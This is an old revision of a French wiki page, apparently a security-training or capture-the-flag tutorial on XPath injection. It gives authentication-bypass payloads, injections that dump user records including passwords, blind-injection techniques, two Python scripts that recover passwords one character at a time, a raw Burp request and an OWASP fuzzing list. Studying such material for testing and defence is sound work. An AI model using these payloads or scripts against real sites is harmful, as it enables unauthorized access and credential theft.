Outils d'utilisateurs

Outils du Site


failles_web:xpath_injection

Ceci est une ancienne révision du document !


XPATH Injection

1) XPATH Authentification

Le principe:

Le test login/password se fait sur ce genre de code:

$xpath = "//user[user='" . $_GET['user'] . "' and pass='" . $_GET['pass'] . "']";

Le but est d'injecter dans les variables user et pass, les paramètres renvoyant toujours TRUE.

De plus, il faut connaître le nom du noeud considéré (user, dans notre cas). Pour le trouver, on peut s'appuyer sur la liste des users. ex avec user:

user=' or '1'='1
  • user est le nom de la variable renvoyé par le formulaire.
  • le premier ' permet de fermer la chaîne de caractères ouverte dans la variable $xpath.
  • le or '1'='1 est toujours vrai, il n'y a pas de ' à la fin, c'est la variable $xpath qui ferme la chaîne.

Au final, la chaîne $xpath donnera:

$xpath = "//user[user='' or '1'='1' and pass='' or '1'='1']";

Test de l'injection:

user=' or '1'='1&pass=' or '1'='1

Cette requête renvoie TRUE, et on se trouve loggué sous le premier utilisateur, à savoir alice;

Bypass du password:

user=' or '1'='1' or ''='&pass=

Avec ces valeurs, la chaîne xpath est égale à:

$xpath = "//user[user='' or '1'='1' or ''='' and pass='']";

Le deuxième or permet de fermer la chaîne de caractères et de rendre pass inopérant. Le résultat étant vrai, on est maintenant loggué sous le premier utilisateur.
Pour se connecter sous admin (alice, voir la liste des users), il suffit de:

user=alice' or '1'='1' or ''='&pass=


2) Injection string:


L'injection sera possible sur une zone de recherche de users par exemple.

Le principe:

Un champ permet la saisie d'une chaîne de caractères pour rechercher un user. On commence par saisir n'importe quoi (ex: ' )' ), cela provoque une erreur du type:

Le test login/password se fait sur ce genre de code:

Invalid XPath syntax : //user/username[contains(., '' )')]

Le retour error indique le nom du noeud testé user/username. De plus, la commande contains est utilisée pour le test du user. Il suffit d'injecter en fonction des attentes de la fonction.

L'injection

La variable devrait ressembler à cela:

$xpath=⁄⁄user/user[contains(.,'')]

En deuxième paramètre contains attend un string qu'elle recherchera dans le premier (en l’occurrence . qui correspond au nœud actuel à savoir username),

  • l'injection devra donc commencer par ')
  • On ferme le premier prédicat par ].
  • On doit ensuite gérer la fin de la requête, on doit donc finir par [('1'='1

L'injection sera donc:

user=')][('1'='1

On final, on obtient:

$xpath=⁄⁄user/user[contains(.,'')][('1'='1')]

Le résultat sera le listing des users, car le noeud actif est ⁄⁄user/user

3 results

Alice
Bob
Michu

Pour que cette requête renvoie tout, on peut maintenant y insérer /../* :

$xpath=⁄⁄user/user[contains(.,'')]/../*[('1'='1')]

Cela a pour effet de remonter un cran au-dessus du node user dans l'arborescence et d'afficher tout le contenu à savoir l'ensemble des noeuds “user” et tous ses attributs.

L'injection sera finalement:

username=')]/../*[('1'='1

Et renverra:

1
Alice
lemotdepassedupaysimaginaire
princesse
2
Bob
123456abcd
bob@leponge.com
utilisateur
...etc...


3) XPath injection - en aveugle


Cet exemple ne renvoie pas de liste de valeurs en cas de réussite. Il se contente de renvoyer le user concerné, ou une erreur de syntaxe, exemple avec un quote inséré dans l'url:

XPath error : //user[id=2\']

user[id=2 est la partie fixe de la syntaxe xpath. De plus, c'est un integer qui est attendu et non plus un string. L'injection pourra commencer comme ceci:

//user[id=2 and fonction]

De plus, les quotes étant filtrés, on ne pourra pas tester les caractères avec les fonctions habituelles comme starts-with et substring. Cependant xpath propose une fonction permettant de convertir une chaîne en codage ascii: codepoints-string.

Ce script recherche toutes les valeurs présentes dans les nodes user. Il se contente des champs d'index 1 et 2 car ils correspondent respectivement au id et au pwd. Les champs 3,8 et 10 correspondent à l'index, au type de compte et au mail.

La condition pour savoir si la requête renvoie True est 'Bob' car on a laissé userid=2 dans la partie fixe de l'injection.

...
if "Bob" in res.text
...
xpath3.py
import requests
 
 
page = "http:///?action=user&userid=2"
cooki = {'che' : '1','spip_session' : ''}
 
 
child_node_pos=0
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
continuer=True
 
for user in range(1,10):
        print "user:"+str(user)
        passwd=""
        for child_node_pos in (4,6): 
                print " - noeud:"+str(child_node_pos)
                for t in range(1,50):
                        if continuer:
                                continuer=False
                                for carac in charset:
                                        req=page+"+and+substring(//user["+str(user)+"]/child::node()["+str(child_node_pos)+"],"+str(t)+",1)=codepoints-to-string("+str(ord(carac))+")"
                                        res = requests.get(req,cookies=cooki)
 
                                        if "John" in res.text:
                                                passwd+=carac
                                                continuer=True
                                                print passwd
                                                break
                        else:
                                print passwd
                                t=1
                                continuer=True
                                passwd+=":"
                                break


Quelques fonctions utiles

string-length


Vérifie la longueur d'une chaîne dans un noeud

* Vérifie la longueur du password du user d'index 1:

string-length(//user[1]/password)=10

* Vérifie la longueur de la chaîne du 6ème noeud de user d'index 1:

string-length(//user[position()=1]/child::node()[position()=6])=10

* Vérifie la longueur du password du user Alice:

string-length(//user['Alice']/password)=10

* Insérée dans une injection de type string:

') and string-length(../username)=5][('x'='x

Il renverra les users avec 5 caractères. La partie [('x'='x est là pour finir correctement la requête xpath.

* Dans le cas d'un path en relatif:

') and string-length(../username['Harry']../password)>11][('x'='x

Dans l'exemple d'Alice et ses amis, on obtiendrait un seul résult:Potter qui a un mdp de plus de 12 caractères.

* Par extension, pour lister les usernames (parmi les quelques dizaines de façons différentes):

') and string-length(../username)>0][('x'='x


starts-with


Vérifie si la chaîne de caractères commence par la valeur passée en paramètre.

* On testera ainsi si un user commence par la lettre H. Par extension, on pourra tester toutes les lettres.

') and starts-with(../username,'A
') and starts-with(../username,'Al
') and starts-with(../username,'Ali
...

Pour cet exemple, on obtiendra:

1 result
Alice

* On peut chercher le pass de la même manière:

Alice') and starts-with(../password,'M

Si la lettre sélectionnée n'est pas bonne, on obtiendra 0 résults.


substring


substring(user[1]/username,x,n) Renvoie la chaîne de longueur n à partir du xième caractère.

Exemple, substring renverra le premier caractère du password de John:

substring(user[1]/username,1,1)

On peut tester la présence de caractères en incrémentant le décalage de 1 à chaque test de caractères:

substring(user[1]/username,1,1)='A'
substring(user[1]/username,2,1)='l'
substring(user[1]/username,3,1)='i'
...


codepoints-to-string


Renvoie le code ASCII en décimal du ou des caractères passé(s) en paramètres.Ex:

codepoints-to-string(84) renverra 'T'
codepoints-to-string(90,101,110,107) renverra 'Zenk'

La requête renverra True si le node d'index 4 du user d'index 2 commence par carac:

req=page+"+and+substring(//user[2]/child::node()[4],1,1)=codepoints-to-string(string(ord(carac)))



La liste des fonctions xpath: http://www.w3schools.com/xpath/xpath_functions.asp


Outils


Script de recherche de caractères:

Un script permettant de faire une recherche caractère par caractère d'un noeud avec la commande starts-with:

xpath.py
#!/usr/bin/python
import requests
 
 
page =
cooki = {}
 
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
passwd=""
 
req=page+"')][('1'='1"
res = requests.get(req,cookies=cooki)
for x in res.text.split("<li>"):print x
 
continuer=True
for t in range(0,50):
	if continuer:
		continuer=False
		for carac in charset:
			req=page+"Alice') and starts-with(../password,'"+passwd+carac
			#print req
			res = requests.get(req,cookies=cooki)
			#print " rep= "+res.text.split("value=")[3]+"\n-----------\n"
 
			if "1 résultat trouvé" in res.text:
				passwd+=carac
				continuer=True
				print passwd
				break
	else:
		print "Le mot de passe est : "+passwd
		break

Burp Suite

La requête RAW:

GET //url.com/log=members&search=Harry')+and+starts-with(../password,' HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
Cookie:
Connection: keep-alive

Les vecteurs de fuzzing:

source: OWASP

Avec l'ajout de ')][('1'='1

xpath_fuzz.txt
')][('1'='1
'+or+'1'='1
'+or+''='
x'+or+1=1+or+'x'='y
/
//
//*
*/*
@*
count(/child::node())
x'+or+name()='username'+or+'x'='y

un outil xcat:

https://github.com/orf/xcat

FIXME

à tester:

xcat.py --true "Alice" --arg "do=user&id_user=2" --method GET --cookie "" http://url.com/? --autopwn


XPath Injection Utility

Le meilleur pour la fin, l'excellent outil de Krach: http://krach.me/XPath_Injection_Utility/


xpath-blind-explorer

Docs

failles_web/xpath_injection.1437423148.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)